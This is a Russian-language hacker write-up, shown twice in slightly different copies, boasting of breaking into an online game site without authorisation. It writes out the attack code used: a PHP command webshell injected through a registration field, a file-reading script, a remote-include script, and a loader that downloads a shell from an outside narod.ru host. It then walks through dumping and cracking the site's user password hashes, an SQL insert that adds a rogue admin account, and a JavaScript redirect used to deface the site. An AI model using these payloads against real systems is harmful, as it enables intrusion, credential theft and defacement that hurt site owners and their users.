Intro
акто вечером, (ну это для меня вечер =) а так это было гдето 2:30 ночи )) ) постучал ко мне f1refox, говорит я тут игрушку одну онлайновскую расковырял, но добить не может ) вощем там было вот что: для регистрации в форме указывается логин, пароль etc.. и после успешной регистрации создается файл логин_ch.php с содержимым которое указано в форме в качастве параметра value для поля sample... выглядела форма так:
reg_form.html
3-2-1 Поехали!
Имнено в input'e с name=sample и содержится тот текст который будет записан в файл логин_ch.php !!! =)))) Ну вы уже наверное догадались что можно с этого поиметь ))) не долго думая я на накатал скрипт: <? system($_GET[cmd]); ?> который был вставлен в value поля sample нашей формы... конечно все символы < и > были заменены на < и > соответственно =)
дальше я зарегался с логином superhacker => создался файл superhacker_ch.php с содержимым <? system($_GET[cmd]); ?>, я набил в адресной строке браузера путь до файла и как я предполагал мне был выдан результат:
дальше я набрал в браузере http://site.com/superhacker_ch.php?cmd=id и крупно обломался! результата небыло никакого... только пустые строки... я набивал разные комманды, пробовал заливать другие скрипты с ф-иями passthru() и exec() но все равно ничего не выходило... SAFE MODE был включен... после часа экспериментов со скриптом я огорчился - все кавычки в тексте который записывался в файл экранировались... и скрипты выдавали ошибки в синтаксисе... отсюда исчезли очень многие возможности... ковырять другие скрипты не хотелось и я пошел спать... время было уже около 5 утра...
В бой с новыми силами!
Проснулся я рано... в 11 часов утра... сразу поивилась идея... я написал скрипт:
ак видите это обычный скрипт для чтения файлов... прочитав несколько файлов я надыбал пути к системным директориям движка сайта ( двиг там стоял e107 ) но в ручную брутить имена файлов не хотелось ))), игра была самопальной... я на некоторое время забил на это дело и решил пойти позавтракать... и тут я понял что можно сделать!!! скрипт с include-багом! я накатал скрипт:
inc_script.php:
и решил проверить... я боялся того что из-за SAFE MODE будет нельзя инклудить файлы с других серверов, но нет! это было возможно!!!
Я накатал простенький скрипт, который бы загружал шелл с другого сервера и сохранял его в текущую диру с именем out.php, залил его на народовский фтп:
load_shell.php
Теперь осталось набрать в браузере: http://site.com/inc_script_ch.php&inc=http.../load_shell.php и шелл был залит на сервер!!!
Ориентирование на местности
Побродив по каталогам на сервере я нашел файл конфигурации e107 для MySQL... Выдернул от туда логин, пароль и имя базы, задампил таблицу e107_user с данными о юзерах... создав файл с логинами и хешами паролей я поставил их на брут... зачем сам не знаю ))), а тем временем вставил в таблицу нового юзера с админскими правами, вот таким запросом:
запрос выполнился успешно и в таблице появилась новая запись... я проследовал в админ-панель которая находилась по адресу http://site.com/e107_admin/admin.php и успешно залогинился! Все! Теперь админка у меня в руках! там крутилась FreeBSD 5.3-RELEASE-p5 но права были никакими... поэтому мы решили просто дефейснуть сайт и все =))) да и сайт не очень раскрученый... там всего 129 пользователей... но как я уже сказал - права были никакими ((( поэтому /index.php нельзя было редактировать... на сервере можно было писать только в директорию где создавались файлы юзеров: http://site.com/game/chel/ поэтому было решено залить туда файл дефейса а в админке изменить поле title на вот такой java-script:
- редирект на файл дефейса... за это время у меня сбрутилось больше половины хешей... опять таки нафиг они мне нужны ))) и вот тут я разочаровался в Русских людях... наивные... думают поставив пароль qwerty или 123456 они обезопасили себя )))) и самое обидное, что такие пароли были там почти у всех... даже у главного админа пароль был - 12345... я чуть от смеха не упал... на этом мы оставили сервер в покое... Вот такие баги бывают в онлайн играх.
акто вечером, (ну это для меня вечер =) а так это было гдето 2:30 ночи )) ) постучал ко мне f1refox, говорит я тут игрушку одну онлайновскую расковырял, но добить не может ) вощем там было вот что: для регистрации в форме указывается логин, пароль etc.. и после успешной регистрации создается файл логин_ch.php с содержимым которое указано в форме в качастве параметра value для поля sample... выглядела форма так:
reg_form.html
Код:
<form action="http://game.site.com/reg.php" method="post">
<input type="hidden" name="x" value=1>
логин: <input type="text" name="login" value="">
пароль:<input type="password" name="pas1">
подтверждение пароля:<input type="password" name="pas2">
<td><input type="radio" checked=1 name="sample" value="текст_для_запси_в_файл">
<input type="submit" value="зарегистрировать пользователя" name="reg">
</form>
3-2-1 Поехали!
Имнено в input'e с name=sample и содержится тот текст который будет записан в файл логин_ch.php !!! =)))) Ну вы уже наверное догадались что можно с этого поиметь ))) не долго думая я на накатал скрипт: <? system($_GET[cmd]); ?> который был вставлен в value поля sample нашей формы... конечно все символы < и > были заменены на < и > соответственно =)
дальше я зарегался с логином superhacker => создался файл superhacker_ch.php с содержимым <? system($_GET[cmd]); ?>, я набил в адресной строке браузера путь до файла и как я предполагал мне был выдан результат:
Warning: system() [function.system]: Cannot execute a blank command in /path/to/script/superhacker_ch.php on line 2
дальше я набрал в браузере http://site.com/superhacker_ch.php?cmd=id и крупно обломался! результата небыло никакого... только пустые строки... я набивал разные комманды, пробовал заливать другие скрипты с ф-иями passthru() и exec() но все равно ничего не выходило... SAFE MODE был включен... после часа экспериментов со скриптом я огорчился - все кавычки в тексте который записывался в файл экранировались... и скрипты выдавали ошибки в синтаксисе... отсюда исчезли очень многие возможности... ковырять другие скрипты не хотелось и я пошел спать... время было уже около 5 утра...
В бой с новыми силами!
Проснулся я рано... в 11 часов утра... сразу поивилась идея... я написал скрипт:
<xmp> <? if(!empty($_GET[file])) readfile($_GET[file]); ?> </xmp>
ак видите это обычный скрипт для чтения файлов... прочитав несколько файлов я надыбал пути к системным директориям движка сайта ( двиг там стоял e107 ) но в ручную брутить имена файлов не хотелось ))), игра была самопальной... я на некоторое время забил на это дело и решил пойти позавтракать... и тут я понял что можно сделать!!! скрипт с include-багом! я накатал скрипт:
inc_script.php:
Код:
<? if(!empty($_GET[inc])) include($_GET[inc]); ?>
и решил проверить... я боялся того что из-за SAFE MODE будет нельзя инклудить файлы с других серверов, но нет! это было возможно!!!
Я накатал простенький скрипт, который бы загружал шелл с другого сервера и сохранял его в текущую диру с именем out.php, залил его на народовский фтп:
load_shell.php
Код:
<?
$file = fopen("http://jenizix.narod.ru/shell.php","r");
$out = fopen("out.php","w");
while(!feof($file))
fputs($out,fgets($file));
fclose($file);
fclose($out);
?>
Теперь осталось набрать в браузере: http://site.com/inc_script_ch.php&inc=http.../load_shell.php и шелл был залит на сервер!!!
Ориентирование на местности
Побродив по каталогам на сервере я нашел файл конфигурации e107 для MySQL... Выдернул от туда логин, пароль и имя базы, задампил таблицу e107_user с данными о юзерах... создав файл с логинами и хешами паролей я поставил их на брут... зачем сам не знаю ))), а тем временем вставил в таблицу нового юзера с админскими правами, вот таким запросом:
Код:
INSERТ INTO e107_user ('login', 'password', 'user_admin', 'user_perms') VALUЕS ('Jenizix', 'MD5_хеш_пароля', '1', '0')
запрос выполнился успешно и в таблице появилась новая запись... я проследовал в админ-панель которая находилась по адресу http://site.com/e107_admin/admin.php и успешно залогинился! Все! Теперь админка у меня в руках! там крутилась FreeBSD 5.3-RELEASE-p5 но права были никакими... поэтому мы решили просто дефейснуть сайт и все =))) да и сайт не очень раскрученый... там всего 129 пользователей... но как я уже сказал - права были никакими ((( поэтому /index.php нельзя было редактировать... на сервере можно было писать только в директорию где создавались файлы юзеров: http://site.com/game/chel/ поэтому было решено залить туда файл дефейса а в админке изменить поле title на вот такой java-script:
Код:
<script>location.href='http://site.com/game/chel/deface.html';</script>
- редирект на файл дефейса... за это время у меня сбрутилось больше половины хешей... опять таки нафиг они мне нужны ))) и вот тут я разочаровался в Русских людях... наивные... думают поставив пароль qwerty или 123456 они обезопасили себя )))) и самое обидное, что такие пароли были там почти у всех... даже у главного админа пароль был - 12345... я чуть от смеха не упал... на этом мы оставили сервер в покое... Вот такие баги бывают в онлайн играх.